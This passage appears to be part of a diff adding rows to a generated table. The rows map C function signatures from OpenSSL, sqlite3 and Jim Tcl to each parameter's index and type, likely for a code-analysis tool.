*,const char *) | | PKCS12_create_ex | 2 | EVP_PKEY * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 3 | X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 4 | stack_st_X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 5 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 6 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 7 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 8 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 9 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 10 | OSSL_LIB_CTX * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 11 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 0 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 1 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 2 | EVP_PKEY * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 3 | X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 4 | stack_st_X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 5 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 6 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 7 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 8 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 9 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 10 | OSSL_LIB_CTX * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 11 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 12 | PKCS12_create_cb * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *) | | PKCS12_create_ex2 | 13 | void * | +| (const char *,const char *,char *) | | DES_fcrypt | 0 | const char * | +| (const char *,const char *,char *) | | DES_fcrypt | 1 | const char * | +| (const char *,const char *,char *) | | DES_fcrypt | 2 | char * | +| (const char *,const char *,char **,char **) | | app_passwd | 0 | const char * | +| (const char *,const char *,char **,char **) | | app_passwd | 1 | const char * | +| (const char *,const char *,char **,char **) | | app_passwd | 2 | char ** | +| (const char *,const char *,char **,char **) | | app_passwd | 3 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 0 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 1 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 2 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 3 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 4 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *) | | SRP_create_verifier | 5 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 0 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 1 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 2 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 3 | char ** | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 4 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 5 | const char * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 6 | OSSL_LIB_CTX * | +| (const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_ex | 7 | const char * | +| (const char *,const char *,const BIGNUM *,ASN1_INTEGER **) | | save_serial | 0 | const char * | +| (const char *,const char *,const BIGNUM *,ASN1_INTEGER **) | | save_serial | 1 | const char * | +| (const char *,const char *,const BIGNUM *,ASN1_INTEGER **) | | save_serial | 2 | const BIGNUM * | +| (const char *,const char *,const BIGNUM *,ASN1_INTEGER **) | | save_serial | 3 | ASN1_INTEGER ** | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 0 | const char * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 1 | const char * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 2 | const char * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 3 | BIO * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 4 | BIO * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 5 | OSSL_HTTP_bio_cb_t | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 6 | void * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 7 | int | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 8 | const stack_st_CONF_VALUE * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 9 | const char * | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 10 | int | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 11 | size_t | +| (const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int) | | OSSL_HTTP_get | 12 | int | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 0 | const char * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 1 | const char * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 2 | const char * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 3 | SSL_CTX * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 4 | const stack_st_CONF_VALUE * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 5 | long | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 6 | const char * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 7 | const ASN1_ITEM * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 0 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 1 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 2 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 3 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 4 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 5 | SSL_CTX * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 6 | const stack_st_CONF_VALUE * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 7 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 8 | ASN1_VALUE * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 9 | const ASN1_ITEM * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 10 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 11 | long | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 12 | const ASN1_ITEM * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 0 | const char * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 1 | const char * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 2 | const char * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 3 | const char * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 4 | int | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 5 | BIO * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 6 | BIO * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 7 | OSSL_HTTP_bio_cb_t | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 8 | void * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 9 | int | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 10 | int | +| (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 0 | const char * | +| (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 1 | const char * | +| (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 2 | const char * | +| (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 3 | int | +| (const char *,const char *,int) | | CRYPTO_strdup | 0 | const char * | +| (const char *,const char *,int) | | CRYPTO_strdup | 1 | const char * | +| (const char *,const char *,int) | | CRYPTO_strdup | 2 | int | +| (const char *,const char *,int) | | sqlite3_strnicmp | 0 | const char * | +| (const char *,const char *,int) | | sqlite3_strnicmp | 1 | const char * | +| (const char *,const char *,int) | | sqlite3_strnicmp | 2 | int | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 0 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 1 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 2 | int | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 3 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 4 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 5 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 6 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 7 | const BIGNUM * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 0 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 1 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 2 | int | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 3 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 4 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 5 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 6 | const char * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 7 | const BIGNUM * | +| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 8 | const BIGNUM * | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 0 | const char * | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 1 | const char * | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 2 | int | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 3 | int | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 4 | int | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 5 | int | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 6 | BIO_ADDRINFO ** | +| (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 0 | const char * | +| (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 1 | const char * | +| (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | size_t | +| (const char *,const char *,stack_st_CONF_VALUE **) | | X509V3_add_value | 0 | const char * | +| (const char *,const char *,stack_st_CONF_VALUE **) | | X509V3_add_value | 1 | const char * | +| (const char *,const char *,stack_st_CONF_VALUE **) | | X509V3_add_value | 2 | stack_st_CONF_VALUE ** | +| (const char *,const char *,unsigned int) | | sqlite3_strlike | 0 | const char * | +| (const char *,const char *,unsigned int) | | sqlite3_strlike | 1 | const char * | +| (const char *,const char *,unsigned int) | | sqlite3_strlike | 2 | unsigned int | +| (const char *,const size_t,unsigned int *,unsigned int *) | | ossl_punycode_decode | 0 | const char * | +| (const char *,const size_t,unsigned int *,unsigned int *) | | ossl_punycode_decode | 1 | const size_t | +| (const char *,const size_t,unsigned int *,unsigned int *) | | ossl_punycode_decode | 2 | unsigned int * | +| (const char *,const size_t,unsigned int *,unsigned int *) | | ossl_punycode_decode | 3 | unsigned int * | +| (const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **) | | x509v3_add_len_value_uchar | 0 | const char * | +| (const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **) | | x509v3_add_len_value_uchar | 1 | const unsigned char * | +| (const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **) | | x509v3_add_len_value_uchar | 2 | size_t | +| (const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **) | | x509v3_add_len_value_uchar | 3 | stack_st_CONF_VALUE ** | +| (const char *,const unsigned char *,stack_st_CONF_VALUE **) | | X509V3_add_value_uchar | 0 | const char * | +| (const char *,const unsigned char *,stack_st_CONF_VALUE **) | | X509V3_add_value_uchar | 1 | const unsigned char * | +| (const char *,const unsigned char *,stack_st_CONF_VALUE **) | | X509V3_add_value_uchar | 2 | stack_st_CONF_VALUE ** | +| (const char *,double *) | | Jim_StringToDouble | 0 | const char * | +| (const char *,double *) | | Jim_StringToDouble | 1 | double * | +| (const char *,double *) | | OSSL_PARAM_construct_double | 0 | const char * | +| (const char *,double *) | | OSSL_PARAM_construct_double | 1 | double * | +| (const char *,int32_t *) | | OSSL_PARAM_construct_int32 | 0 | const char * | +| (const char *,int32_t *) | | OSSL_PARAM_construct_int32 | 1 | int32_t * | +| (const char *,int64_t *) | | OSSL_PARAM_construct_int64 | 0 | const char * | +| (const char *,int64_t *) | | OSSL_PARAM_construct_int64 | 1 | int64_t * | +| (const char *,int *) | | OSSL_PARAM_construct_int | 0 | const char * | +| (const char *,int *) | | OSSL_PARAM_construct_int | 1 | int * | +| (const char *,int *) | | opt_int | 0 | const char * | +| (const char *,int *) | | opt_int | 1 | int * | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 0 | const char * | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 1 | int * | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 2 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 3 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 4 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 5 | int * | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 6 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 7 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 8 | char ** | +| (const char *,int) | | DH_meth_new | 0 | const char * | +| (const char *,int) | | DH_meth_new | 1 | int | +| (const char *,int) | | DSA_meth_new | 0 | const char * | +| (const char *,int) | | DSA_meth_new | 1 | int | +| (const char *,int) | | Jim_StrDupLen | 0 | const char * | +| (const char *,int) | | Jim_StrDupLen | 1 | int | +| (const char *,int) | | NETSCAPE_SPKI_b64_decode | 0 | const char * | +| (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | int | +| (const char *,int) | | RSA_meth_new | 0 | const char * | +| (const char *,int) | | RSA_meth_new | 1 | int | +| (const char *,int) | | parse_yesno | 0 | const char * | +| (const char *,int) | | parse_yesno | 1 | int | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *) | | PKCS8_set0_pbe | 0 | const char * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *) | | PKCS8_set0_pbe | 1 | int | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *) | | PKCS8_set0_pbe | 2 | PKCS8_PRIV_KEY_INFO * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *) | | PKCS8_set0_pbe | 3 | X509_ALGOR * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 0 | const char * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 1 | int | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 2 | PKCS8_PRIV_KEY_INFO * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 3 | X509_ALGOR * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 4 | OSSL_LIB_CTX * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 5 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_one | 0 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_one | 1 | int | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_one | 2 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_one | 3 | const BIGNUM * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_zero | 0 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_zero | 1 | int | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_zero | 2 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_zero | 3 | const BIGNUM * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_even | 0 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_even | 1 | int | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_even | 2 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_even | 3 | const BIGNUM * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_ge_zero | 0 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_ge_zero | 1 | int | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_ge_zero | 2 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_ge_zero | 3 | const BIGNUM * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_gt_zero | 0 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_gt_zero | 1 | int | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_gt_zero | 2 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_gt_zero | 3 | const BIGNUM * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_le_zero | 0 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_le_zero | 1 | int | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_le_zero | 2 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_le_zero | 3 | const BIGNUM * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_lt_zero | 0 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_lt_zero | 1 | int | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_lt_zero | 2 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_lt_zero | 3 | const BIGNUM * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_ne_zero | 0 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_ne_zero | 1 | int | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_ne_zero | 2 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_ne_zero | 3 | const BIGNUM * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_odd | 0 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_odd | 1 | int | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_odd | 2 | const char * | +| (const char *,int,const char *,const BIGNUM *) | | test_BN_odd | 3 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 0 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 1 | int | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 2 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 3 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 4 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 5 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 0 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 1 | int | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 2 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 3 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 4 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 5 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 0 | const char * | 